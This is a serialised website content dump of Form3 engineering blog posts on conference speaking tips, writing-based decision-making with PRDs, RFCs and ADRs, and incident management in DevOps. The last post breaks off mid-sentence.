EPISODE",{"link_type":453,"key":1306,"url":1307},"0fa8989b-b2ad-40db-bac5-164f80ece5e8","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-45-tech-all-about-conference-speaking-hmKwc0ak",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$33ef754a-9e15-4aed-b608-cb1635ab9cf3",{"variation":459,"version":460,"items":1316,"primary":1317,"id":1348,"slice_type":479,"slice_label":13},[],{"body":1318},[1319,1329,1338],{"type":396,"text":1320,"spans":1321},"Patrycja Wegrzynowicz is Lead SRE Engineer at Form3. She works on reliability and performance of UK payments. She has a wealth of experience, having been a professional software engineer for over 20 years. Her main area of expertise lies in Java, C++, security and performance tuning.",[1322,1325],{"start":17,"end":706,"type":744,"data":1323},{"link_type":453,"url":1324,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fpatrycjaw\u002F",{"start":589,"end":1326,"type":744,"data":1327},51,{"link_type":453,"url":1328,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fform3-financial-cloud",{"type":396,"text":1330,"spans":1331},"Artur Kondas is Lead Engineer at Form3. He has a music background and is a self taught engineer, specialising in the Go programming language.",[1332,1336],{"start":17,"end":1333,"type":744,"data":1334},12,{"link_type":453,"url":1335,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Farturkondas\u002F",{"start":685,"end":844,"type":744,"data":1337},{"link_type":453,"url":1328,"target":456},{"type":396,"text":1339,"spans":1340},"Marcin Niemiec is Cloud Security Engineer at Form3. He is part of the defensive team, keep our team and our platform safe and to the highest security standards.",[1341,1345],{"start":17,"end":1342,"type":744,"data":1343},14,{"link_type":453,"url":1344,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmarcin-niemiec-304349104\u002F",{"start":1346,"end":598,"type":744,"data":1347},45,{"link_type":453,"url":1328,"target":456},"rich_text$a55c4b3c-2153-4c72-896f-e045d528b8f9",{"variation":459,"version":460,"items":1350,"primary":1351,"id":1388,"slice_type":479,"slice_label":13},[],{"body":1352},[1353,1356,1359,1364,1368,1373,1377,1382,1385],{"type":465,"text":1354,"spans":1355},"Why do we attend and speak at conferences?",[],{"type":396,"text":1357,"spans":1358},"Our panel has a very extensive experience speaking at a variety of technical events. They share their main motivations to attending events and taking the stage:",[],{"type":1101,"text":1360,"spans":1361},"Share knowledge with the community: speaking at conferences gives you a platform to share your technical knowledge and expertise with the community, enabling others to learn from you.",[1362],{"start":17,"end":1363,"type":477},34,{"type":1101,"text":1365,"spans":1366},"Networking: attending events gives you the opportunity to create face-to-face, real-world connections with others. This is one of the main benefits of in-person technical events and it is definitely one of those immeasurable benefits of community.",[1367],{"start":17,"end":426,"type":477},{"type":1101,"text":1369,"spans":1370},"Developing your presentation skills: presentation skills are absolute essentials for successful engineers, so developing an on-stage persona and growing your presentation skills is something that will serve you in your day-to-day, professional career.",[1371],{"start":17,"end":1372,"type":477},35,{"type":1101,"text":1374,"spans":1375},"Learning while preparing presentations: as a presenter, preparing a new talk allows you to deep-dive into projects and technologies, organising your thoughts. This is a great learning opportunity which allows you to build compelling material to share with the community. Teaching something to others is a great way to understand something in depth!",[1376],{"start":17,"end":844,"type":477},{"type":1101,"text":1378,"spans":1379},"Boosting your confidence: delivering a talk, even if it is not perfect, is a great achievement. The feeling of accomplishment is a great confidence booster that can help you feel like an expert in your own field. If you are a mentor, recommending to your mentees to take the stage is a great opportunity for them to grow.",[1380],{"start":17,"end":1381,"type":477},24,{"type":396,"text":1383,"spans":1384},"While virtual events have a more global audience, it is harder to engage the audience as a presenter when you are not standing in front of them. It's harder to read how your talk is received if you are not in the physical room as your listeners. If possible, try to attend events in person wherever possible.",[],{"type":396,"text":1386,"spans":1387},"Online only events require special, separate preparation from in-person events, often requiring speakers to pre-record their talks. This can be a time-consuming process that you should not underestimate. Engaging with an online-only audience requires a completely different skillset than presenting on stage. However, as online events have the potential to reach a larger audience, it is definitely something that speakers should cultivate.",[],"rich_text$47a066e9-97d9-477c-9b41-42a5a5c0eb43",{"variation":459,"version":460,"items":1390,"primary":1391,"id":1446,"slice_type":479,"slice_label":13},[],{"body":1392},[1393,1396,1399,1407,1415,1434,1438],{"type":465,"text":1394,"spans":1395},"How do we find conferences to speak at?",[],{"type":396,"text":1397,"spans":1398},"Now that we have established the benefits of speaking at and attending conferences, our speakers share how to find events to pitch their ideas\u002Ftalk suggestions at:",[],{"type":1101,"text":1400,"spans":1401},"Local meetups: when beginning on your speaking journey, it's important to start small. Find your local meetup or community and begin speaking there. This will give you a safe space to get comfortable speaking, then you can scale up as you get more experience.",[1402,1404],{"start":17,"end":1403,"type":477},13,{"start":1405,"end":1406,"type":780},74,85,{"type":1101,"text":1408,"spans":1409},"WikiCFP: aggregate calls for papers (CfPs) for conferences that are looking for speakers. This is agreat way to discover new conferences that suit your interests and background.",[1410,1412],{"start":17,"end":1411,"type":477},7,{"start":17,"end":1411,"type":744,"data":1413},{"link_type":453,"url":1414,"target":456},"https:\u002F\u002Fwww.wikicfp.com\u002Fcfp\u002F",{"type":1101,"text":1416,"spans":1417},"Volunteer to teach: a great way to teach others and get experience speaking is to engage with volunteer organisations that are focusing on teaching people to code. Some examples are Colorintech, Code First Girls and Rails Girls. Taking a local approach to finding organisations to volunteer for is a great way to discover how you can help.",[1418,1419,1424,1429],{"start":17,"end":905,"type":477},{"start":1420,"end":1421,"type":744,"data":1422},182,193,{"link_type":453,"url":1423,"target":456},"https:\u002F\u002Fwww.colorintech.org\u002F",{"start":1425,"end":1426,"type":744,"data":1427},195,211,{"link_type":453,"url":1428,"target":456},"https:\u002F\u002Fcodefirstgirls.com\u002Fabout-us\u002F",{"start":1430,"end":1431,"type":744,"data":1432},216,227,{"link_type":453,"url":1433,"target":456},"https:\u002F\u002Frailsgirls.com\u002F",{"type":1101,"text":1435,"spans":1436},"Friends and more experienced colleagues: the tech circle is small, so don't forget to also ask your friends and colleagues to tell you about conferences that they enjoyed. This will make it easier to find events that suit your preferences. Your more experienced colleagues can recommend events that are suited to newcomers as well as guide you when you are preparing.",[1437],{"start":17,"end":587,"type":477},{"type":1101,"text":1439,"spans":1440},"Social media: the power of social media extends to finding exciting technical community events and initiatives. The TechDailyCFP newsletter collates updates from technical events around the world.",[1441,1442],{"start":17,"end":1333,"type":477},{"start":1443,"end":604,"type":744,"data":1444},116,{"link_type":453,"url":1445,"target":456},"https:\u002F\u002Fmailchi.mp\u002Ff2e4ba861211\u002Ftechdailycfp","rich_text$83162622-d5b8-4719-baff-941f46491d9e",{"variation":459,"version":460,"items":1448,"primary":1449,"id":1492,"slice_type":479,"slice_label":13},[],{"body":1450},[1451,1454,1457,1461,1465,1469,1473,1477,1481,1485],{"type":465,"text":1452,"spans":1453},"How do we prepare for speaking on stage?",[],{"type":396,"text":1455,"spans":1456},"The key to a successful talk lies in the preparation. Our guests share some of their best tips for preparing:",[],{"type":1101,"text":1458,"spans":1459},"Rehearse, but don't memorise: in order to get your nerves under control and ensure that you have the right timings, it's important to rehearse your talk. Also, in order to keep a conversational, natural tone, avoid memorising your talk. There is an element of improvisation on stage, but it's important to know exactly what you're going to say and when you will say it. Try to aim for at least 2-3 full rehearsals.",[1460],{"start":17,"end":1071,"type":477},{"type":1101,"text":1462,"spans":1463},"Don't be afraid to do last minute changes: as you rehearse and try things out, you might get last minute ideas of changes that you want to make. Don't be afraid to implement these into your talk.",[1464],{"start":17,"end":580,"type":477},{"type":1101,"text":1466,"spans":1467},"Tailor your talk to your audience: if you are presenting your talk at multiple events, make sure that you tailor your presentation according to the audience at that particular event. This will give you variation in your talk and create a more engaging experience for your listeners.",[1468],{"start":17,"end":685,"type":477},{"type":1101,"text":1470,"spans":1471},"Start with the big picture: begin by sketching out an outline of your talk: what would you like to show, what code demos would you like to include, what interesting corner cases would you like to highlight. Once you have a clear idea of what you would like to cover, finalising your demos and slides becomes a lot more straight forward. Stay focused and on-mission, ensuring that you have a clear story line that will be engaging to the audience.",[1472],{"start":17,"end":596,"type":477},{"type":1101,"text":1474,"spans":1475},"Don't underestimate the work: preparing talks is time consuming and don't underestimate how long it takes to put together a presentation which looks effortless. Start your preparations at least a month before the event to have time for rehearsals and polish your content.",[1476],{"start":17,"end":1071,"type":477},{"type":1101,"text":1478,"spans":1479},"Get in the right headspace: make sure to take time to gather your thoughts and feel good before you speak. Simple things can have a big impact. Make sure you are wearing comfortable clothing, shoes and do the things that usually make you feel confident whether that be listening to music, meditation, breathing exercises or anything that helps you feel your best.",[1480],{"start":17,"end":596,"type":477},{"type":1101,"text":1482,"spans":1483},"Expect the unexpected: no matter how much you prepare beforehand, mistakes happen and code demos sometimes do not work. Go with the flow, keep your composure and continue with your presentation. The audience wants to see you succeed, so don't get disheartened if something goes wrong on stage. If you are including any demos, prepare back up recordings in case something goes wrong onsite like slow Internet connections.",[1484],{"start":17,"end":706,"type":477},{"type":396,"text":1486,"spans":1487},"Most importantly, be energetic, passionate and exciting. Remember that you are there to share what you know and the audience is there to support you! Let your personality shine through.",[1488,1491],{"start":1489,"end":1490,"type":780},150,184,{"start":1489,"end":1490,"type":477},"rich_text$d02fe0cd-0d14-49ae-8179-b6e1c513cc95",{"variation":459,"version":460,"items":1494,"primary":1495,"id":1566,"slice_type":479,"slice_label":13},[],{"body":1496},[1497,1500,1503,1516,1553],{"type":465,"text":1498,"spans":1499},"Catch up with our speakers at events",[],{"type":396,"text":1501,"spans":1502},"Finally, our wonderful speaker panel shares which events you can expect to meet them at this year:",[],{"type":1101,"text":1504,"spans":1505},"Marcin will be speaking about how to mitigate SSRF vulnerabilities in Go at BSides Ljubljana and BSides Athens.",[1506,1511],{"start":1507,"end":1508,"type":744,"data":1509},76,92,{"link_type":453,"url":1510,"target":456},"https:\u002F\u002F0x7e7.bsidesljubljana.si\u002F",{"start":1512,"end":1513,"type":744,"data":1514},97,110,{"link_type":453,"url":1515,"target":456},"https:\u002F\u002F2023.bsidesath.gr\u002F",{"type":1101,"text":1517,"spans":1518},"Patrycja will be speaking about securing Kubernetes at Code Europe, European Women in Tech, KCD Munich, GopherCon UK, JavaZone, Porto Tech Hub, JAX London and DevOpsCon.",[1519,1523,1527,1530,1534,1539,1544,1548],{"start":599,"end":1520,"type":744,"data":1521},66,{"link_type":453,"url":1522,"target":456},"https:\u002F\u002Fwww.codeeurope.pl\u002Fen\u002F",{"start":518,"end":1524,"type":744,"data":1525},90,{"link_type":453,"url":1526,"target":456},"https:\u002F\u002Feuropeanwomenintech.com\u002F",{"start":1508,"end":900,"type":744,"data":1528},{"link_type":453,"url":1529,"target":456},"https:\u002F\u002Fcommunity.cncf.io\u002Fevents\u002Fdetails\u002Fcncf-kcd-munich-presents-kcd-munich-2023\u002F",{"start":1531,"end":1443,"type":744,"data":1532},104,{"link_type":453,"url":1533,"target":456},"https:\u002F\u002Fwww.gophercon.co.uk\u002F",{"start":1535,"end":1536,"type":744,"data":1537},118,126,{"link_type":453,"url":1538,"target":456},"https:\u002F\u002F2023.javazone.no\u002F",{"start":1540,"end":1541,"type":744,"data":1542},128,142,{"link_type":453,"url":1543,"target":456},"https:\u002F\u002Fportotechhub.com\u002F",{"start":1545,"end":605,"type":744,"data":1546},144,{"link_type":453,"url":1547,"target":456},"https:\u002F\u002Fjaxlondon.com\u002Fprogram\u002F",{"start":1549,"end":1550,"type":744,"data":1551},159,168,{"link_type":453,"url":1552,"target":456},"https:\u002F\u002Fdevopscon.io\u002Fmunich\u002Fprogram-munich\u002F",{"type":1101,"text":1554,"spans":1555},"Artur will be speaking about scaling & securing microservices at DevBcn, GopherCon UK and ContainerDays.",[1556,1561,1563],{"start":1557,"end":1558,"type":744,"data":1559},65,71,{"link_type":453,"url":1560,"target":456},"https:\u002F\u002Fwww.devbcn.com\u002F",{"start":714,"end":1406,"type":744,"data":1562},{"link_type":453,"url":1533,"target":456},{"start":1524,"end":550,"type":744,"data":1564},{"link_type":453,"url":1565,"target":456},"https:\u002F\u002Fwww.containerdays.io\u002F","rich_text$c72d709b-ccd8-4b95-831d-af429ac53d98",{"id":1568,"uid":1569,"url":1570,"type":406,"href":1571,"tags":1572,"first_publication_date":994,"last_publication_date":1573,"slugs":1574,"linked_documents":1576,"lang":386,"alternate_languages":1577,"data":1578},"alz0rBEAACcAUWZH","blog-decision-making","\u002Fresources\u002Fengineering-blog\u002Fblog-decision-making","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0rBEAACcAUWZH%22%29+%5D%5D",[],"2026-08-27T02:07:02+0000",[1575],"writing-not-talking",[],[],{"title":1579,"excerpt":1580,"card_image":1581,"published_date":1586,"reading_time":667,"tag":427,"dek":1580,"featured_image":1587,"about_form3":1592,"client_about_heading":13,"client_about_body":1593,"author_name":1594,"author_title":1595,"author_photo":1596,"author_bio":1601,"author_linkedin":1610,"slices":1613,"meta_title":1579,"meta_description":1580},"Decision-making and design in growing engineering organisations","Andy recently wrote about what he considers to be the key ingredients for bootstrapping a new engineering organisation. Many of these ingredients are about what you use to build your organisation with. However, this post describes one key element of how you do it. This blog post describes one way of making decisions and designing new changes which scales well with a growing team, and includes everyone in the process.",{"dimensions":1582,"alt":1579,"copyright":13,"url":1583,"id":1584,"edit":1585},{"width":420,"height":420},"\u002F_prismic-media\u002Fe08b97f73c913d25-X9UhY2MQBrd8h0YV_blog-decision-making.png","X9UhY2MQBrd8h0YV",{"x":17,"y":17,"zoom":18,"background":19},"2023-06-28",{"dimensions":1588,"alt":13,"copyright":13,"url":1589,"id":1590,"edit":1591},{"width":1270,"height":1271},"\u002F_prismic-media\u002Fe270da4b18ea07ff-DAj6Q-M9i5MxEvaq_b4907da6-607a-4a3e-97db-018f95b.jpg","DAj6Q-M9i5MxEvaq",{"x":17,"y":17,"zoom":18,"background":424},[],[],"Andy Kuszyk","Staff Engineer",{"dimensions":1597,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":1600},{"width":443,"height":444},"\u002F_prismic-media\u002Fc371d17a59432918-GFOBoL2Tovd3zPoj_27d09fad-dd24-483c-92fc-1ac2a07.jpeg","GFOBoL2Tovd3zPoj",{"x":17,"y":17,"zoom":18,"background":424},[1602],{"type":396,"text":1603,"spans":1604},"Andy Kuszyk is a Staff Engineer at Form3, based in Southampton. He's been working as a software engineer for 8 years with a variety of technologies, including .NET, Python and most recently Go. Check out more of his tech articles on his blog.",[1605],{"start":1606,"end":1607,"type":744,"data":1608},233,241,{"link_type":453,"url":1609,"target":456},"http:\u002F\u002Fandykuszyk.github.io\u002F",{"link_type":453,"key":1611,"url":1612,"target":456},"3ee16ddc-986a-4291-ad56-8d909e77dd55","https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fandy-kuszyk",[1614,1634,1651,1691,1708],{"variation":459,"version":460,"items":1615,"primary":1616,"id":1633,"slice_type":479,"slice_label":13},[],{"body":1617},[1618,1621,1624,1627,1630],{"type":396,"text":1619,"spans":1620},"In some senses, the way you make decisions in a small engineering organisation may seem unimportant. Especially when there is a small team involved, decisions can be made synchronously via conversation. Similarly, system design can be conducted at a whiteboard; be it physical or virtual.",[],{"type":396,"text":1622,"spans":1623},"However, as an engineering organisation grows, face-to-face decision making and design starts to scale less well for a couple of reasons:",[],{"type":1101,"text":1625,"spans":1626},"The communication of the decisions and designs doesn't scale well; the reasons why things are being done a particular way have to be explained (and remembered!) by every new joiner.",[],{"type":1101,"text":1628,"spans":1629},"The process of actually making decisions becomes less democratised as the size of the team grows; it's harder to keep people involved in the process when you can't share a pizza amongst the team.",[],{"type":396,"text":1631,"spans":1632},"If you don't start off making decisions and designing new things in a way that scales well with the size of your engineering organisation, you end up with a \"blind spot\" where no-one really knows why things were done the way they were when your organisation was started. Of course, this isn't strictly speaking true; much of this initial knowledge might become \"tribal\"--known by everyone--without the need for any specific practices. However, sooner or later you'll need something better than \"face-to-face\".",[],"rich_text$06549ec6-1f11-4717-b230-e4034ce72d43",{"variation":459,"version":460,"items":1635,"primary":1636,"id":1650,"slice_type":479,"slice_label":13},[],{"body":1637},[1638,1641,1644,1647],{"type":465,"text":1639,"spans":1640},"Writing, not talking",[],{"type":396,"text":1642,"spans":1643},"As an engineering organisation grows, synchronous decision-making in conversation becomes harder to scale, and becomes less inclusive. In my view, the solution to this problem is to start off by making decisions via the medium of writing, rather than talking.",[],{"type":396,"text":1645,"spans":1646},"In the beginning, in a small team, it might be very natural for decisions to be made verbally; and that's fine. However, in order for the decision-making and design to be preserved for future team mates, and for it to be easily consumed by the masses of your future organisation, I still think it needs to be written down.",[],{"type":396,"text":1648,"spans":1649},"A popular pattern for this is the Architecture Design Record (ADR), in which a short document is written to capture the context, outcome, and consequences of a decision. Provided an ADR is the artefact of the decision-making or design process, then you can rest assured that the decisions made as your engineering organisation was bootstrapped will be easy to share with new colleagues in the future.",[],"rich_text$9b440994-c2ae-44dc-aa13-15231dac5329",{"variation":459,"version":460,"items":1652,"primary":1653,"id":1690,"slice_type":479,"slice_label":13},[],{"body":1654},[1655,1658,1661,1664,1668,1672,1675,1678,1681,1684,1687],{"type":465,"text":1656,"spans":1657},"Problems, not solutions",[],{"type":396,"text":1659,"spans":1660},"This is probably true at any stage in the growth of an engineering organisation, but especially as it begins to grow beyond the founding members it is important to focus on problems before solutions. As with the early decisions, I think it's helpful to do this in a written form, so that problems and their solutions can be shared with a large number of colleagues in a way that everyone has access to the decision-making material.",[],{"type":396,"text":1662,"spans":1663},"My preference is to structure this discourse via two document types:",[],{"type":1101,"text":1665,"spans":1666},"Problem requirements documents (PRDs).",[1667],{"start":17,"end":844,"type":477},{"type":1101,"text":1669,"spans":1670},"Requests for comment (RFCs).",[1671],{"start":17,"end":1071,"type":477},{"type":396,"text":1673,"spans":1674},"When you start considering a topic that requires a decision, or a new feature that requires a design, the idea is that you start off by clearly describing the problem you're solving in a PRD. A PRD might consist of some background information, the motivation for solving the problem, and the problem description itself. If everyone agrees on the problem statement, then everyone is on the same page when it comes to considering possible solutions, and making a decision.",[],{"type":396,"text":1676,"spans":1677},"Having agreed on the problem you're solving, it's possible that you may want to discuss several competing solutions. An RFC provides a structured approach for you to refer to a specific problem, and outline a proposed solution. This is equally useful for making a decision about the way your organisation is run, as it is for deciding on the architecture for a new functional component in your system. An RFC might contain some background information, a reference to the problem, and the proposed solution.",[],{"type":396,"text":1679,"spans":1680},"Making decisions and designing changes via PRDs and RFCs has a number of advantages in my view:",[],{"type":1101,"text":1682,"spans":1683},"They scale well with the number of people in your organisation; everyone can read them without the need to pass on information verbally.",[],{"type":1101,"text":1685,"spans":1686},"They democratise access to the decision-making process; anyone can read and comment on a PRD or RFC and take part in the process.",[],{"type":1101,"text":1688,"spans":1689},"They provide a consistent, neutral medium for discussion and decision-making; whether or not someone is a charismatic speaker is less likely to enter into the decision-making process, and people are more likely to consider the facts as presented in the written document.",[],"rich_text$fd647c1a-b700-4cfd-996c-89b22f371c0a",{"variation":459,"version":460,"items":1692,"primary":1693,"id":1707,"slice_type":479,"slice_label":13},[],{"body":1694},[1695,1698,1701,1704],{"type":465,"text":1696,"spans":1697},"A history of design",[],{"type":396,"text":1699,"spans":1700},"I would advocate utilising PRDs and RFCs from the very beginning when bootstrapping an engineering organisation. Doing so builds a culture of writing to make decisions and design new systems, and makes your decision-making transparent and accessible from the beginning. Any decisions made outside of a PRD\u002FRFC and be recorded in ADRs, so that they don't get lost in the mythical history of your organisation.",[],{"type":396,"text":1702,"spans":1703},"The end result is an iterative, cumulative history of all the decisions you have made in building your team and your product. The design documents describe the evolution of your system, and make ideal reference materials for new team members, or for future conversation. If anyone wants to know \"how your system works\", you can just give them a curated list of RFCs to read.",[],{"type":396,"text":1705,"spans":1706},"In my opinion, using writing to make decisions and design new things is a great way of generating high-quality, living documentation, as well as for democratising and scaling the decision-making process.",[],"rich_text$a1a75327-f9a2-4d8a-9718-bfa4bb6a4e74",{"variation":459,"version":460,"items":1709,"primary":1710,"id":1738,"slice_type":479,"slice_label":13},[],{"body":1711},[1712,1715,1718,1721,1725,1730,1735],{"type":465,"text":1713,"spans":1714},"PRDs, RFCs, and ADRs: a summary",[],{"type":396,"text":1716,"spans":1717},"I think that using writing to make decisions from early on in the life of an engineering organisation is invaluable. Not only does it set you up for success as your organisation grows, but it also builds a high-quality history of design that will be valuable again and again as your team and product are built.",[],{"type":396,"text":1719,"spans":1720},"I've found a good pattern for structuring this written material to be the use of three distinct documents:",[],{"type":1101,"text":1722,"spans":1723},"Architecture decision records (ADRs): a decision that you've made.",[1724],{"start":844,"end":1557,"type":780},{"type":1101,"text":1726,"spans":1727},"Problem requirements documents (PRDs): a problem that needs to be solved.",[1728],{"start":587,"end":1729,"type":780},72,{"type":1101,"text":1731,"spans":1732},"Requests for comments (RFCs): a solution you'd like feedback on.",[1733],{"start":586,"end":1734,"type":780},63,{"type":396,"text":1736,"spans":1737},"These documents could be in Google Docs, Markdown files in a Git repo, or issues in a Git forge. The main thing is that you establish practices for using them as the medium for your organisation's decision-making and design processes.",[],"rich_text$ca0da870-8f4f-4b2e-bd8f-13f7d660e507",{"id":1740,"uid":1741,"url":1742,"type":406,"href":1743,"tags":1744,"first_publication_date":994,"last_publication_date":1573,"slugs":1745,"linked_documents":1747,"lang":386,"alternate_languages":1748,"data":1749},"alz0rxEAACoAUWZM","incident-mngmnt-devops","\u002Fresources\u002Fengineering-blog\u002Fincident-mngmnt-devops","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0rxEAACoAUWZM%22%29+%5D%5D",[],[1746],"incident-management-refresher",[],[],{"title":1750,"excerpt":1751,"card_image":1752,"published_date":1757,"reading_time":667,"tag":427,"dek":1751,"featured_image":1758,"about_form3":1763,"client_about_heading":13,"client_about_body":1764,"author_name":1018,"author_title":1019,"author_photo":1765,"author_bio":1768,"author_linkedin":1775,"slices":1777,"meta_title":1750,"meta_description":1751},"Incident Management in a DevOps Environment","In this post, David discusses how Incident Management and the DevOps engineering culture. He shares how DevOps structures benefit the Incident Management process and the DevOps environments benefit the whole of the Service Delivery process.",{"dimensions":1753,"alt":1750,"copyright":13,"url":1754,"id":1755,"edit":1756},{"width":420,"height":420},"\u002F_prismic-media\u002F3dd32ce30c8cc1bf-Wmtls8gpz9Z6RKr2_incident-mngmnt-devops.png","Wmtls8gpz9Z6RKr2",{"x":17,"y":17,"zoom":18,"background":19},"2023-06-21",{"dimensions":1759,"alt":13,"copyright":13,"url":1760,"id":1761,"edit":1762},{"width":1270,"height":1271},"\u002F_prismic-media\u002Fdead2b96a7f6b413-UoMnmSffnNNlwGYq_5f129ce2-c36d-4a59-8dd7-30de4ee.jpg","UoMnmSffnNNlwGYq",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":1766,"alt":1018,"copyright":13,"url":1022,"id":1023,"edit":1767},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[1769,1771],{"type":396,"text":1027,"spans":1770},[],{"type":396,"text":1030,"spans":1772},[1773],{"start":579,"end":555,"type":744,"data":1774},{"link_type":453,"url":1034},{"link_type":453,"key":1776,"url":1034,"target":456},"3c4e499c-dece-48cb-a040-b97e06cffbd0",[1778,1796,1821,1838,1855],{"variation":459,"version":460,"items":1779,"primary":1780,"id":1795,"slice_type":479,"slice_label":13},[],{"body":1781},[1782,1785,1788],{"type":465,"text":1783,"spans":1784},"Incident Management refresher",[],{"type":396,"text":1786,"spans":1787},"Incident Management in its shortest form is the team responsible for managing the formal response of the company when something goes wrong. When something is impacting our customers or we suspect it could, the Incident Management team hold the responsibility for ensuring our processes are followed and we respond in the best possible way.",[],{"type":396,"text":1789,"spans":1790},"If you're not familiar with the basics of Incident Management, make sure to check out David's previous blogpost \"What is the life of an Incident Manager?\". It includes a quick introduction into the day-to-day life and responsibilities of Incident Managers.",[1791],{"start":1792,"end":605,"type":744,"data":1793},112,{"id":1051,"type":1052,"tags":1794,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},[],"rich_text$902174f3-7476-42a0-9fd4-cca0206aaa3b",{"variation":459,"version":460,"items":1797,"primary":1798,"id":1820,"slice_type":479,"slice_label":13},[],{"body":1799},[1800,1803,1806,1814,1817],{"type":465,"text":1801,"spans":1802},"Processes",[],{"type":396,"text":1804,"spans":1805},"In a more traditional model outside of the DevOps world, many teams can be siloed. In no way blocked from talking, but there's just rarely a need to beyond a short handover of information. It can be a very effective method for ensuring responsibilities are very clear and roles set firm. It can have a disadvantage however of a lack of collaborative knowledge sharing.",[],{"type":396,"text":1807,"spans":1808},"In the DevOps world, the developers are much more involved in the live operational elements of the delivery of our services. Often the developers of the tool are the ones on-call at 3am when that tool needs support. It's not handed off to an operations team. This focus on keeping a close connection between Development and Operations leads to a much higher level of knowledge and expertise within the development teams of the incident process. A much higher investment in the day-to-day business of the company. At Form3, we use have a SecDevOps engineering culture, which is a variation of DevOps that integrates security into the development process.",[1809],{"start":1810,"end":1811,"type":744,"data":1812},537,546,{"link_type":453,"url":1813,"target":456},"https:\u002F\u002Fwww.aquasec.com\u002Fcloud-native-academy\u002Fdevsecops\u002Fsecdevops\u002F",{"type":396,"text":1815,"spans":1816},"DevOps' nature depends on innovative approaches to handling issues. DevOps is a culture that values openness, visibility, and quick learning. A culture of open, blameless communication between Development and Operations teams.",[],{"type":396,"text":1818,"spans":1819},"This can be difficult for those who have come from an more segmented framework background. Firm processes and procedures mixed with tasks and checklists. I know it was an adjustment for me when I first saw it! The basic purpose of DevOps is to give commercial value to a company by promoting open communication between operations teams and development teams. Dismantling old organisational barriers and enhancing transparency.",[],"rich_text$2f138662-608a-453d-ba3f-5b3f509db060",{"variation":459,"version":460,"items":1822,"primary":1823,"id":1837,"slice_type":479,"slice_label":13},[],{"body":1824},[1825,1828,1831,1834],{"type":465,"text":1826,"spans":1827},"DevOps & Incident Management",[],{"type":396,"text":1829,"spans":1830},"Now we get into the meat of this post! Where making formal changes in incident response processing can be a lengthy endeavour. DevOps incident management processes are reflective of the development methodology and ever changing to adapt to the business need.",[],{"type":396,"text":1832,"spans":1833},"DevOps is about a continuous and iterative approach, where speed and efficiency are at its core. This same approach should be felt in Incident Management processes. Effective and efficient use of Automation should not just be used in the Development process, not just in detection but throughout the Incident Management process. One of the most common delays in Incident resolution is the bringing in of the required expertise needed. Working with the Development team on structure and on-call automation can resolve this delay in an instant.",[],{"type":396,"text":1835,"spans":1836},"To run effective Incident Management practices within a DevOps environment relies on the effective use of tooling, communication and positioning of resources. The biggest one of those truly being that communication. Incident Management are far more involved in not just the changes being made at every moment of every day within Development but within the other Operations teams also.",[],"rich_text$a43bb25b-8d89-4f13-8943-ccb297021a0b",{"variation":459,"version":460,"items":1839,"primary":1840,"id":1854,"slice_type":479,"slice_label":13},[],{"body":1841},[1842,1845,1848,1851],{"type":465,"text":1843,"spans":1844},"DevOps problem solving",[],{"type":396,"text":1846,"spans":1847},"The blameless culture of DevOps enabled us to communicate better and more frequently. Removing the rigid silo of teams while still maintaining separation of responsibilities. Collaboration is at the heart of continuous improvement. The blameless post-mortem is the link in the chain holding it all together. As such everyone should be involved. All parties can offer a perspective on the incident and on the future changes needed in prevention. DevOps does not leave Root Cause and Continuous Improvement solely in the hands of a Problem Manager. While they manage the next step in the process, after the urgency has subsided, incident managers take on an investigative and advisory role and assist in problem management and prevention.",[],{"type":396,"text":1849,"spans":1850},"These shifting of teams into other areas responsibilities relies on clear definitions of those responsibilities. Problem Management within DevOps can suffer the same fate as it can within traditional models when given less import than Incident. It is less urgent but has vast potential for long term value adding and improvement. Change Management can also be left in a state of stagnation, not updating approval processes and assessment methods.",[],{"type":396,"text":1852,"spans":1853},"Where DevOps models differ in this way is the involvement and investment of all parties in the overall goal and process through exposure. When an Incident Manager is involved in the Problem process, they appreciate and understand the steps needed and can improve the prior stages. Where Change Managers and Development are involved in both Incident and Problem stages, they can better understand the impact from the initial point. Equally the value is felt by Development in seeing how the products developed are being used and in getting valuable feedback on areas of improvement.",[],"rich_text$ddccdb04-e920-4ec3-bca9-c041388fb500",{"variation":459,"version":460,"items":1856,"primary":1857,"id":1873,"slice_type":479,"slice_label":13},[],{"body":1858},[1859,1861,1864,1867,1870],{"type":465,"text":982,"spans":1860},[],{"type":396,"text":1862,"spans":1863},"Here are some of the highlights we have covered in this post:",[],{"type":1101,"text":1865,"spans":1866},"Incident Management in a DevOps environment comes with a wealth of benefits, collaboration and knowledge sharing is at the heart of all aspects.",[],{"type":1101,"text":1868,"spans":1869},"DevOps places Incident Management processes into part of the bigger picture, interlinked and involved in all aspects of the business and equally does the same for all aspects of Development and Operations.",[],{"type":1101,"text":1871,"spans":1872},"DevOps is not a magic button to solve all problems, it takes hard work and by its nature is never perfect. No system or framework is, DevOps companies know this and accept 